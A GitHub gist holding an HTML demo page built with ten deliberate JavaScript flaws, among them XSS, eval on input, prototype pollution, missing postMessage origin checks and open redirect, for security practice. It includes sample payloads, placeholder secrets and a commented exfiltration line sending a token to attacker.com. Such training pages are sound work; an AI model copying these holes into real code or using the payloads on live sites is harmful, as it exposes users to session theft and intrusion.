Skip to content

Instantly share code, notes, and snippets.

@ayadim
Last active May 9, 2026 17:37
Show Gist options
  • Select an option

  • Save ayadim/10b57d9c93227045a0edcc32766f3e5f to your computer and use it in GitHub Desktop.

Select an option

Save ayadim/10b57d9c93227045a0edcc32766f3e5f to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vulnerable JS Demo - Security Research Only</title>
<style>
body { font-family: monospace; padding: 20px; background: #1a1a2e; color: #eee; }
.vuln { border: 1px solid #e94560; padding: 15px; margin: 10px 0; background: #16213e; border-radius: 5px; }
.vuln h3 { color: #e94560; margin-top: 0; }
input, button { padding: 8px; margin: 5px 0; background: #0f3460; color: white; border: 1px solid #e94560; }
button:hover { background: #e94560; cursor: pointer; }
#output { background: #0f0f23; padding: 10px; border-radius: 3px; min-height: 30px; }
code { background: #0f0f23; padding: 2px 6px; border-radius: 3px; color: #00d9ff; }
</style>
</head>
<body>
<h1>🔐 Vulnerable JavaScript Demo</h1>
<p><em>For authorized security testing only. All vulnerabilities are intentional.</em></p>
<!-- VULN 1: Reflected XSS via URL Parameter -->
<div class="vuln">
<h3>1️⃣ Reflected XSS (URL Parameter)</h3>
<p>Try: <code>?name=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></p>
<div id="xss-reflected"></div>
<script>
// VULNERABLE: Direct insertion of URL param into DOM without sanitization
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
if (name) {
document.getElementById('xss-reflected').innerHTML = 'Hello, ' + name; // ❌ XSS sink
}
</script>
</div>
<!-- VULN 2: DOM-based XSS via innerHTML -->
<div class="vuln">
<h3>2️⃣ DOM-based XSS (Search Box)</h3>
<input type="text" id="searchInput" placeholder="Search...">
<button onclick="doSearch()">Search</button>
<div id="searchResults"></div>
<script>
// VULNERABLE: User input directly injected via innerHTML
function doSearch() {
const query = document.getElementById('searchInput').value;
// ❌ Dangerous: innerHTML with unsanitized input
document.getElementById('searchResults').innerHTML =
'<p>Results for: <strong>' + query + '</strong></p>';
}
// Also vulnerable via hash fragment: #search=<script>alert(1)</script>
if (window.location.hash.includes('search=')) {
const hashQuery = decodeURIComponent(window.location.hash.split('search=')[1]);
document.getElementById('searchResults').innerHTML =
'<p>Results for: <strong>' + hashQuery + '</strong></p>'; // ❌ XSS
}
</script>
</div>
<!-- VULN 3: Insecure localStorage Auth Bypass -->
<div class="vuln">
<h3>3️⃣ Client-Side Auth Bypass (localStorage)</h3>
<button id="loginBtn">Login as Admin</button>
<button id="checkAuth">Check Auth Status</button>
<div id="authStatus">Not authenticated</div>
<script>
// VULNERABLE: Authentication state stored client-side only
document.getElementById('loginBtn').onclick = function() {
// ❌ Never trust client-side auth flags
localStorage.setItem('isAdmin', 'true');
localStorage.setItem('user', 'admin');
document.getElementById('authStatus').innerHTML =
'✅ Logged in as <strong>admin</strong> (client-side only!)';
};
document.getElementById('checkAuth').onclick = function() {
// ❌ Reading auth state from localStorage without server validation
if (localStorage.getItem('isAdmin') === 'true') {
document.getElementById('authStatus').innerHTML =
'🔑 Admin access granted (token: ' + (localStorage.getItem('token') || 'none') + ')';
}
};
// Auto-load "auth" from localStorage on page load
if (localStorage.getItem('isAdmin') === 'true') {
document.getElementById('authStatus').innerHTML =
'⚠️ Persisted admin session found in localStorage';
}
</script>
</div>
<!-- VULN 4: postMessage Origin Validation Bypass -->
<div class="vuln">
<h3>4️⃣ postMessage Origin Bypass</h3>
<p>Open browser console and run:<br>
<code>iframe.contentWindow.postMessage('{"action":"admin","cmd":"deleteAll"}', '*')</code></p>
<iframe id="targetFrame" srcdoc="<h3>Target Frame</h3><div id='frameOutput'>Waiting for message...</div>"
style="width:100%; height:80px; background:#0f0f23; border:1px solid #e94560;"></iframe>
<script>
const iframe = document.getElementById('targetFrame');
// VULNERABLE: Listening to postMessage without origin check
window.addEventListener('message', function(event) {
// ❌ Missing: if (event.origin !== 'https://trusted-domain.com') return;
try {
const data = JSON.parse(event.data);
if (data.action === 'admin') {
// ❌ Executing commands from untrusted source
document.getElementById('frameOutput').innerHTML =
'⚠️ Executed: ' + data.cmd + ' (from origin: ' + event.origin + ')';
// In real app: could trigger API calls, DOM changes, etc.
}
} catch(e) {
document.getElementById('frameOutput').innerHTML = 'Error parsing message';
}
}, false);
</script>
</div>
<!-- VULN 5: eval() with User Input -->
<div class="vuln">
<h3>5️⃣ eval() Code Execution</h3>
<input type="text" id="calcInput" placeholder="Enter JS expression: 2+2">
<button onclick="calculate()">Calculate</button>
<div id="calcResult"></div>
<script>
// VULNERABLE: eval() with user input
function calculate() {
const expr = document.getElementById('calcInput').value;
try {
// ❌ DANGEROUS: eval executes arbitrary JS
const result = eval(expr); // Try: alert(document.domain)
document.getElementById('calcResult').innerHTML = 'Result: ' + result;
} catch(e) {
document.getElementById('calcResult').innerHTML = 'Error: ' + e.message;
}
}
</script>
</div>
<!-- VULN 6: Prototype Pollution -->
<div class="vuln">
<h3>6️⃣ Prototype Pollution</h3>
<button onclick="pollute()">Pollute Prototype</button>
<button onclick="checkPollution()">Check Pollution</button>
<div id="protoOutput"></div>
<script>
// VULNERABLE: Unsafe object merge allowing __proto__ injection
function merge(target, source) {
for (let key in source) {
// ❌ No protection against __proto__ or constructor
if (key in source) {
if (source[key] && typeof source[key] === 'object') {
target[key] = target[key] || {};
merge(target[key], source[key]);
} else {
target[key] = source[key]; // ❌ Pollution sink
}
}
}
return target;
}
function pollute() {
// Inject malicious property into Object.prototype
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
document.getElementById('protoOutput').innerHTML = '⚠️ Prototype polluted!';
}
function checkPollution() {
const testObj = {};
// ❌ Inherited polluted property
if (testObj.isAdmin === true) {
document.getElementById('protoOutput').innerHTML =
'🔑 Pollution confirmed: testObj.isAdmin = ' + testObj.isAdmin;
} else {
document.getElementById('protoOutput').innerHTML = 'No pollution detected';
}
}
</script>
</div>
<!-- VULN 7: Insecure JSONP Callback -->
<div class="vuln">
<h3>7️⃣ JSONP Callback Injection</h3>
<p>Try callback: <code>callback=alert(document.domain)</code></p>
<button onclick="loadJSONP()">Load Data via JSONP</button>
<div id="jsonpOutput"></div>
<script>
// VULNERABLE: JSONP with unsanitized callback parameter
function loadJSONP() {
const callback = 'handleData'; // In real app: from URL param
const script = document.createElement('script');
// ❌ Callback not validated - could be arbitrary JS
script.src = 'https://api.example.com/data?callback=' + callback;
document.body.appendChild(script);
}
// Global callback function (JSONP requirement)
window.handleData = function(data) {
// ❌ Data from untrusted source inserted into DOM
document.getElementById('jsonpOutput').innerHTML =
'Received: ' + JSON.stringify(data);
};
</script>
</div>
<!-- VULN 8: Insecure jQuery Selector (Selector Injection) -->
<div class="vuln">
<h3>8️⃣ jQuery Selector Injection</h3>
<input type="text" id="userId" placeholder="User ID: admin">
<button onclick="loadUser()">Load User</button>
<div id="userProfile"></div>
<script>
// Assuming jQuery is loaded (for demo purposes)
function loadUser() {
const userId = document.getElementById('userId').value;
// ❌ User input directly in jQuery selector
// Try: userId=']; alert('XSS'); $('
const userElement = $(`[data-user-id="${userId}"]`); // Selector injection
// In real app: could manipulate DOM, exfiltrate data, etc.
document.getElementById('userProfile').innerHTML =
'Selected elements: ' + (userElement.length || 0);
}
</script>
</div>
<!-- VULN 9: localStorage Session Token Exposure -->
<div class="vuln">
<h3>9️⃣ Sensitive Data in localStorage</h3>
<button onclick="storeToken()">Store "Secret" Token</button>
<button onclick="exposeToken()">Read Token (XSS Payload)</button>
<div id="tokenOutput"></div>
<script>
function storeToken() {
// ❌ Storing sensitive tokens in localStorage (accessible to any JS)
localStorage.setItem('auth_token', 'sk_live_abc123xyz789');
localStorage.setItem('user_pii', JSON.stringify({
email: 'admin@johndeerecloud.com',
ssn: '123-45-6789'
}));
document.getElementById('tokenOutput').innerHTML = '✅ Token stored (insecurely)';
}
function exposeToken() {
// Any XSS payload can read these values
const token = localStorage.getItem('auth_token');
const pii = localStorage.getItem('user_pii');
document.getElementById('tokenOutput').innerHTML =
'<pre>Token: ' + token + '\nPII: ' + pii + '</pre>';
// In real attack: exfiltrate to attacker server
// fetch('https://attacker.com/steal?token=' + token);
}
</script>
</div>
<!-- VULN 10: Insecure URL Redirect -->
<div class="vuln">
<h3>🔟 Open Redirect via URL Parameter</h3>
<p>Try: <code>?redirect=https://evil.com/phishing</code></p>
<button onclick="doRedirect()">Redirect</button>
<div id="redirectPreview"></div>
<script>
function doRedirect() {
const params = new URLSearchParams(window.location.search);
const redirectUrl = params.get('redirect') || '/dashboard';
// ❌ No validation of redirect URL
document.getElementById('redirectPreview').innerHTML =
'Would redirect to: <strong>' + redirectUrl + '</strong>';
// In real app: window.location = redirectUrl; // Open redirect
}
// Auto-preview redirect on load
document.addEventListener('DOMContentLoaded', doRedirect);
</script>
</div>
<hr>
<footer>
<p><strong>⚠️ Security Notes:</strong></p>
<ul>
<li>Never use <code>innerHTML</code>, <code>eval()</code>, or <code>document.write()</code> with user input</li>
<li>Always validate <code>postMessage</code> origins</li>
<li>Store auth tokens in <code>httpOnly</code> cookies, not localStorage</li>
<li>Sanitize all data before DOM insertion (use <code>textContent</code> or DOMPurify)</li>
<li>Implement CSP headers to mitigate XSS</li>
<li>Never trust client-side authentication checks</li>
</ul>
<p><em>Generated for authorized security research • Do not deploy to production</em></p>
</footer>
<script>
// Global "vulnerability detector" for demo purposes
console.log('🔍 Vulnerable JS Demo Loaded');
console.log('💡 Tip: Check browser DevTools → Console for additional debug info');
// Simulate "debug mode" that leaks info (common in dev builds)
if (window.location.search.includes('debug=true')) {
console.warn('⚠️ DEBUG MODE ENABLED');
console.log('API Keys:', { stripe: 'pk_test_...', aws: 'AKIA...' });
console.log('Internal Endpoints:', ['/api/internal/admin', '/debug/console']);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment